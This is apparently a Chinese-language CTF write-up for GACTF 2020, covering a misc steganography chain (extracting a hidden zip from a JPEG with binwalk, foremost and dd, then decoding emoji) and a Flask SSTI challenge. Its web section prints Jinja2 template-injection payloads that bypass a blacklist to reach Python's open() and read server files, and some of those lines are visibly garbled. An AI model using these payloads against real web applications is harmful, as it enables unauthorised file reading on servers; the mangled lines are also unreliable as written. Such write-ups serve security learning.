2020GACTF部分wp
GACTF
misc
签到
给了二维码图 切割再拼上就行
crymisc
给了一个crymisc.docx
无法打开 用file看一下
把后缀名改成zip然后解压
这里奇怪的是用winzip解压会提示3.jpg受密码保护,用360压缩提示文件损坏,用7z命令解压图片为0字节
用mac自带解压能直接解压出来
用binwalk分析3.jpg
有zip的结尾,猜测应该里面有压缩包,尝试修复
找到jpg文件结尾FF D9
后面有一串看起来是base64编码
解码得到压缩包的密码
然后在字符串后面添加zip的文件头504B0304
再分离 用dd foremost或者binwalk都可以
binwalk -e 3.jpg
foremost -T 3.jpg
dd if=3.jpg bs=1 skip=12718 of=new.zip
得到新的压缩包 用刚刚的密码解压
得到一串emoji,找了很多在线解密网站结果都不对,然后发现了以前题的writeup
https://github.com/pavelvodrazka/ctf-writeups/tree/master/hackyeaster2018/challenges/egg17
这里给了一个暴力破解codeemoji的js 自己搭起来然后解密
web
ezflask
# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)
@app.route('/ctfhint')
def ctf():
hint =xxxx
# hints trick = xxxx
# trick
return trick
@app.route('/')
def index():
# app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
# post eval
@app.route(xxxxxx, methods=["POST"])
# Secret
def admin():
# admin requests
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8080)
simple flask
绕ssti黑名单
ban了
'
{{1+1}}
....
用dirmap还扫出了console开启了debug模式
猜测是ssti读文件算pin码
经过fuzz后发现mro等一系列被禁
base__
和_bases_[0]
没有被禁,访问{{""._class_._base_.__subclasses()}}
SECRET = "JpofUPvEjXWbz21ypHXW";
调用os eval system皆被禁,只存在open可以读文件
{{"".class__._base_._subclasses_()[179]._init_._globals_.__builtins"open".read()}}
{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__["open"]("fla".join("/g")).read()}}
发现可以直接读flag文件了 应该是非预期吧